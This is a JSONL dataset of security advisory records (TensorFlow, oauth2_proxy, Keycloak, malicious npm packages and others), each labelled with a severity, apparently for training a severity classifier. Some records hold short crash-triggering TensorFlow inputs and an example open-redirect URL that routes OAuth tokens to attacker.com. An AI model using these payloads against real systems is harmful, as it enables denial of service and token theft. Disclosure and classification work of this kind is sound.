-{"id": "45dd5da4d8d273bac96e", "text": "Inadequate Encryption Strength in python-keystoneclient\n\npython-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache encryption bypass.", "text_raw": "Inadequate Encryption Strength in python-keystoneclient\n\n[Severity: CRITICAL]\n\npython-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache encryption bypass.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "6fc3bb0a947a94e23080", "text": "Prototype Pollution Vulnerability in object-collider\n\nPrototype pollution vulnerability in 'object-collider' versions 1.0.0 through 1.0.3 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution Vulnerability in object-collider\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'object-collider' versions 1.0.0 through 1.0.3 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "ec2c358238a8dafc2b4f", "text": "Pillow Out-of-bounds Read vulnerability\n\nAn issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. This dates to Pillow 2.4.0.", "text_raw": "Pillow Out-of-bounds Read vulnerability\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. This dates to Pillow 2.4.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "fd895eaab0f39d544729", "text": "Regular expression denial of service in @absolunet/kafe\n\nThis affects the package @absolunet/kafe before 3.2.10. It allows cause a denial of service when validating crafted invalid emails.", "text_raw": "Regular expression denial of service in @absolunet/kafe\n\n[Severity: MEDIUM]\n\nThis affects the package @absolunet/kafe before 3.2.10. It allows cause a denial of service when validating crafted invalid emails.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "81096eee1fd460e4f538", "text": "Reference binding to nullptr in `MatrixSetDiagV*` ops\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixSetDiagV3(\n  input=[1,2,3],\n  diagonal=[1,1],\n  k=[],\n  align='RIGHT_LEFT')\n```\n\nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:\n\n```cc \n  auto& diag_index = context->input(1);\n  ...\n  lower_diag_index = diag_index.flat<int32>()(0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff8894044dfae5568ecbf2ed514c1a37dc394f1b](https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in `MatrixSetDiagV*` ops\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixSetDiagV3(\n  input=[1,2,3],\n  diagonal=[1,1],\n  k=[],\n  align='RIGHT_LEFT')\n```\n  \nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong: \n\n```cc \n  auto& diag_index = context->input(1);\n  ...\n  lower_diag_index = diag_index.flat<int32>()(0);\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [ff8894044dfae5568ecbf2ed514c1a37dc394f1b](https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bec020ef9cb0768e146b", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS`.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "254b55f21e0c1d37e92b", "text": "Cross-site Scripting in LibreNMS\n\nIn LibreNMS < 21.3.0, a stored XSS vulnerability was identified in the API Access page due to insufficient sanitization of the $api->description variable. As a result, arbitrary Javascript code can get executed.", "text_raw": "Cross-site Scripting in LibreNMS\n\n[Severity: MEDIUM]\n\nIn LibreNMS < 21.3.0, a stored XSS vulnerability was identified in the API Access page due to insufficient sanitization of the $api->description variable. As a result, arbitrary Javascript code can get executed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
-{"id": "73c72131e5a7c12aa72a", "text": "Unchecked Return Value in xcb\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because transmutation to the wrong type can happen after xcb::base::cast_event uses std::mem::transmute to return a reference to an arbitrary type.", "text_raw": "Unchecked Return Value in xcb\n\n[Severity: HIGH]\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because transmutation to the wrong type can happen after xcb::base::cast_event uses std::mem::transmute to return a reference to an arbitrary type.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c3886b657b4107d500d5", "text": "Django-Anymail prone to a timing attack\n\nwebhooks/base.py in Anymail (aka django-anymail) before 1.2.1 is prone to a timing attack vulnerability on the WEBHOOK_AUTHORIZATION secret, which allows remote attackers to post arbitrary e-mail tracking events.", "text_raw": "Django-Anymail prone to a timing attack\n\n[Severity: CRITICAL]\n\nwebhooks/base.py in Anymail (aka django-anymail) before 1.2.1 is prone to a timing attack vulnerability on the WEBHOOK_AUTHORIZATION secret, which allows remote attackers to post arbitrary e-mail tracking events.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "0579c24a620657389ae4", "text": "Deserialization of Untrusted Data in Spring AMQP\n\nIn Spring AMQP versions 2.2.0 - 2.2.19 and 2.3.0 - 2.3.11, the Spring AMQP Message object, in its toString() method, will create a new String object from the message body, regardless of its size. This can cause an OOM Error with a large message", "text_raw": "Deserialization of Untrusted Data in Spring AMQP\n\n[Severity: MEDIUM]\n\nIn Spring AMQP versions 2.2.0 - 2.2.19 and 2.3.0 - 2.3.11, the Spring AMQP Message object, in its toString() method, will create a new String object from the message body, regardless of its size. This can cause an OOM Error with a large message", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "8764d6acbf8be073808e", "text": "Denial of Service in Apache POI\n\nApache POI in versions prior to release 3.17 are vulnerable to Denial of Service Attacks:\n  - Infinite Loops while parsing crafted WMF, EMF, MSG and macros (POI bugs 61338 and 61294)\n  - Out of Memory Exceptions while parsing crafted DOC, PPT and XLS (POI bugs 52372 and 61295)", "text_raw": "Denial of Service in Apache POI\n\n[Severity: HIGH]\n\nApache POI in versions prior to release 3.17 are vulnerable to Denial of Service Attacks:\n  - Infinite Loops while parsing crafted WMF, EMF, MSG and macros (POI bugs 61338 and 61294)\n  - Out of Memory Exceptions while parsing crafted DOC, PPT and XLS (POI bugs 52372 and 61295)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-14", "split": "train"}
-{"id": "a74be90781b0d3963010", "text": "Yarn Improper link resolution before file access (Link Following)\n\nIn Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted \"bin\" keys. Existing files could be overwritten depending on the current user permission set.", "text_raw": "Yarn Improper link resolution before file access (Link Following)\n\n[Severity: HIGH]\n\nIn Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted \"bin\" keys. Existing files could be overwritten depending on the current user permission set.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
-{"id": "eb2784f7bec75cfa8d11", "text": "Moodle vulnerable to RCE via unsafe deserialization\n\nA flaw was found in Moodle in versions 3.11 to 3.11.3, 3.10 to 3.10.7, 3.9 to 3.9.10 and earlier unsupported versions. A remote code execution risk when restoring backup files was identified.", "text_raw": "Moodle vulnerable to RCE via unsafe deserialization\n\n[Severity: CRITICAL]\n\nA flaw was found in Moodle in versions 3.11 to 3.11.3, 3.10 to 3.10.7, 3.9 to 3.9.10 and earlier unsupported versions. A remote code execution risk when restoring backup files was identified.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "8fa6eba298fb8853666c", "text": "Double free in algorithmica\n\nAn issue was discovered in the algorithmica crate through 2021-03-07 for Rust. In the affected versions of this crate, `merge_sort::merge()` wildly duplicates and drops ownership of `T` without guarding against double-free. Due to such implementation, simply invoking `merge_sort::merge()` on `Vec<T: Drop>` can cause **double free** bugs.", "text_raw": "Double free in algorithmica\n\n[Severity: HIGH]\n\nAn issue was discovered in the algorithmica crate through 2021-03-07 for Rust. In the affected versions of this crate, `merge_sort::merge()` wildly duplicates and drops ownership of `T` without guarding against double-free. Due to such implementation, simply invoking `merge_sort::merge()` on `Vec<T: Drop>` can cause **double free** bugs.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ebd9ca209b88d8b18ec7", "text": "Reference binding to nullptr in boosted trees\n\n### Impact\nAn attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(\n  node_id_range=[],\n  stats_summary_list=[[1,2,3]],\n  l1=[1.0],\n  l2=[1.0],\n  tree_complexity =[1.0],\n  min_node_weight =[1.17],\n  max_splits=5)\n```\n\nA similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(\n  node_id_range=[],\n  stats_summaries_list=[[1,2,3]],\n  split_types=[''],\n  candidate_feature_ids=[1,2,3,4],\n  l1=[1],     \n  l2=[1],\n  tree_complexity=[1.0],\n  min_node_weight=[1.17],\n  logits_dimension=5)\n```\n\nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) does not validate the input values.\n\n### Patches\nWe have patched the issue in GitHub commit [9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad](https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad) and in commit. [429f009d2b2c09028647dd4bb7b3f6f414bbaad7](https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in boosted trees\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(\n  node_id_range=[],\n  stats_summary_list=[[1,2,3]],\n  l1=[1.0],\n  l2=[1.0],\n  tree_complexity =[1.0],\n  min_node_weight =[1.17],\n  max_splits=5)\n```\n\nA similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`:\n\n```python\nimport tensorflow as tf\n                                                                                                                                                                                                                                                                                          \ntf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(\n  node_id_range=[],\n  stats_summaries_list=[[1,2,3]],\n  split_types=[''],\n  candidate_feature_ids=[1,2,3,4],\n  l1=[1],     \n  l2=[1],\n  tree_complexity=[1.0],\n  min_node_weight=[1.17],\n  logits_dimension=5)\n```     \n    \nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) does not validate the input values.\n\n### Patches\nWe have patched the issue in GitHub commit [9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad](https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad) and in commit. [429f009d2b2c09028647dd4bb7b3f6f414bbaad7](https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "34022053f7e4718ec79d", "text": "Exposure of sensitive information in Elasticsearch\n\nA flaw was discovered in Elasticsearch where document and field level security was not applied to searchable snapshots. This could lead to an authenticated user gaining access to information that they are unauthorized to view.", "text_raw": "Exposure of sensitive information in Elasticsearch\n\n[Severity: MEDIUM]\n\nA flaw was discovered in Elasticsearch where document and field level security was not applied to searchable snapshots. This could lead to an authenticated user gaining access to information that they are unauthorized to view.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "9467e3e5614b4ffcc47f", "text": "Improper Verification of Cryptographic Signature in keycloak\n\nIt was found that Keycloak's SAML broker, versions up to 6.0.1, did not verify missing message signatures. If an attacker modifies the SAML Response and removes the <Signature> sections, the message is still accepted, and the message can be modified. An attacker could use this flaw to impersonate other users and gain access to sensitive information.", "text_raw": "Improper Verification of Cryptographic Signature in keycloak\n\n[Severity: MEDIUM]\n\nIt was found that Keycloak's SAML broker, versions up to 6.0.1, did not verify missing message signatures. If an attacker modifies the SAML Response and removes the <Signature> sections, the message is still accepted, and the message can be modified. An attacker could use this flaw to impersonate other users and gain access to sensitive information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "8b1c951ce276b6f7e662", "text": "Data race in v9\n\nAffected versions of this crate unconditionally implement Sync for SyncRef<T>. This definition allows data races if &T is accessible through &SyncRef.\n\nSyncRef<T> derives Clone and Debug, and the default implementations of those traits access &T by invoking T::clone() & T::fmt(). It is possible to create data races & undefined behavior by concurrently invoking SyncRef<T>::clone() or SyncRef<T>::fmt() from multiple threads with T: !Sync.", "text_raw": "Data race in v9\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement Sync for SyncRef<T>. This definition allows data races if &T is accessible through &SyncRef.\n\nSyncRef<T> derives Clone and Debug, and the default implementations of those traits access &T by invoking T::clone() & T::fmt(). It is possible to create data races & undefined behavior by concurrently invoking SyncRef<T>::clone() or SyncRef<T>::fmt() from multiple threads with T: !Sync.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3e22e8570054a02cf2ab", "text": "Spybot Search & Destroy 1.6.2 Security Center Service Privilege Escalation", "text_raw": "Spybot Search & Destroy 1.6.2 Security Center Service Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-03-16", "split": "train"}
-{"id": "7aec56fec88f4846e2d6", "text": "Kotti CSRF in the local roles implementation\n\nKotti before 1.3.2 and 2.x before 2.0.0b2 has CSRF in the local roles implementation, as demonstrated by triggering a permission change via a `/admin-document/@@share` request.", "text_raw": "Kotti CSRF in the local roles implementation\n\n[Severity: HIGH]\n\nKotti before 1.3.2 and 2.x before 2.0.0b2 has CSRF in the local roles implementation, as demonstrated by triggering a permission change via a `/admin-document/@@share` request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "975e7b99265c9a78dc9a", "text": "The pattern '/\\domain.com' is not disallowed when redirecting, allowing for open redirect\n\n### Impact\nAn open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted.\n\nFor a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.\n\n**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:\n`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`\n\n### Patches\n\n@sauyon found the issue, and has submitted a patch.\n\n```\ndiff --git a/oauthproxy.go b/oauthproxy.go\nindex 72ab580..f420df6 100644\n--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)\n // IsValidRedirect checks whether the redirect URL is whitelisted\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n \tswitch {\n-\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\"):\n+\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n \t\treturn true\n \tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n \t\tredirectURL, err := url.Parse(redirect)\n```\n\nThis patch will be applied to the next release, which is scheduled for when this is publicly disclosed.\n\n### Workarounds\n\nAt this stage there is no work around.", "text_raw": "The pattern '/\\domain.com' is not disallowed when redirecting, allowing for open redirect\n\n[Severity: MEDIUM]\n\n### Impact\nAn open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted. \n\nFor a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.\n\n**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:\n`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`\n\n### Patches\n\n@sauyon found the issue, and has submitted a patch. \n\n```\ndiff --git a/oauthproxy.go b/oauthproxy.go\nindex 72ab580..f420df6 100644\n--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)\n // IsValidRedirect checks whether the redirect URL is whitelisted\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n \tswitch {\n-\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\"):\n+\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n \t\treturn true\n \tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n \t\tredirectURL, err := url.Parse(redirect)\n```\n\nThis patch will be applied to the next release, which is scheduled for when this is publicly disclosed.\n\n### Workarounds\n\nAt this stage there is no work around.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "00e018261bd66647e997", "text": "NULL Pointer Dereference in Google TensorFlow\n\nNULL pointer dereference in Google TensorFlow before 1.12.1 could cause a denial of service via an invalid GIF file.", "text_raw": "NULL Pointer Dereference in Google TensorFlow\n\n[Severity: HIGH]\n\nNULL pointer dereference in Google TensorFlow before 1.12.1 could cause a denial of service via an invalid GIF file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "21e77277f3f47e93d040", "text": "Malicious Package in asnyc\n\nAll versions of `asnyc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asnyc\n\n[Severity: CRITICAL]\n\nAll versions of `asnyc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "f997869bfcdaf465dbed", "text": "Malicious Package in js-sha7\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-sha7\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "31866973471fe06b33f1", "text": "actionpack allows bypass of database-query restrictions\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 3.2.16 and 4.x before 4.0.2 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request that leverages (1) third-party Rack middleware or (2) custom Rack middleware.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-0155.", "text_raw": "actionpack allows bypass of database-query restrictions\n\n[Severity: MEDIUM]\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 3.2.16 and 4.x before 4.0.2 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request that leverages (1) third-party Rack middleware or (2) custom Rack middleware.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-0155.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7945258d91cd1fc0f65b", "text": "Android SVG vulnerable to XML External Entity (XXE)\n\nAndroidSVG version 1.2.2 is vulnerable to XXE attacks in the SVG parsing component resulting in denial of service and possibly remote code execution", "text_raw": "Android SVG vulnerable to XML External Entity (XXE)\n\n[Severity: HIGH]\n\nAndroidSVG version 1.2.2 is vulnerable to XXE attacks in the SVG parsing component resulting in denial of service and possibly remote code execution", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "0fc61412954f9d8db1e6", "text": "rails Cross-site Scripting vulnerability\n\nThe cross-site scripting (XSS) prevention feature in Ruby on Rails 2.x before 2.3.12, 3.0.x before 3.0.8, and 3.1.x before 3.1.0.rc2 does not properly handle mutation of safe buffers, which makes it easier for remote attackers to conduct XSS attacks via crafted strings to an application that uses a problematic string method, as demonstrated by the sub method.", "text_raw": "rails Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nThe cross-site scripting (XSS) prevention feature in Ruby on Rails 2.x before 2.3.12, 3.0.x before 3.0.8, and 3.1.x before 3.1.0.rc2 does not properly handle mutation of safe buffers, which makes it easier for remote attackers to conduct XSS attacks via crafted strings to an application that uses a problematic string method, as demonstrated by the sub method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "cc714fdaf47d2a50447b", "text": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an unspecified vulnerability that could allow an unauthenticated attacker to perform code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an unspecified vulnerability that could allow an unauthenticated attacker to perform code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3df416961d1c6d518131", "text": "Regular Expression Denial of Service\n\nA flaw was found in nodejs-marked versions from 0.5.0 to before 0.6.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Input to the host variable is vulnerable when input contains parenthesis in link URIs, coupled with a high number of link tokens in a single line.", "text_raw": "Regular Expression Denial of Service\n\n[Severity: MEDIUM]\n\nA flaw was found in nodejs-marked versions from 0.5.0 to before 0.6.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Input to the host variable is vulnerable when input contains parenthesis in link URIs, coupled with a high number of link tokens in a single line.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "a572c5460b519c1399ab", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "512efc4c1a4282be57e1", "text": "Malicious Package in ruffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in ruffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "76d405cce23d2b33f11a", "text": "Denial of service in Valine\n\nValine is a fast, simple & powerful comment system. Valine 1.4.14 allows remote attackers to cause a denial of service (application outage) by supplying a ua (aka User-Agent) value that only specifies the product and version.", "text_raw": "Denial of service in Valine\n\n[Severity: MEDIUM]\n\nValine is a fast, simple & powerful comment system. Valine 1.4.14 allows remote attackers to cause a denial of service (application outage) by supplying a ua (aka User-Agent) value that only specifies the product and version.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "ab0b419d08dd22d413c4", "text": "Command Injection in dns-sync\n\nWithdrawn: Duplicate of GHSA-jcw8-r9xm-32c6", "text_raw": "Command Injection in dns-sync\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-jcw8-r9xm-32c6", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-27", "split": "train"}
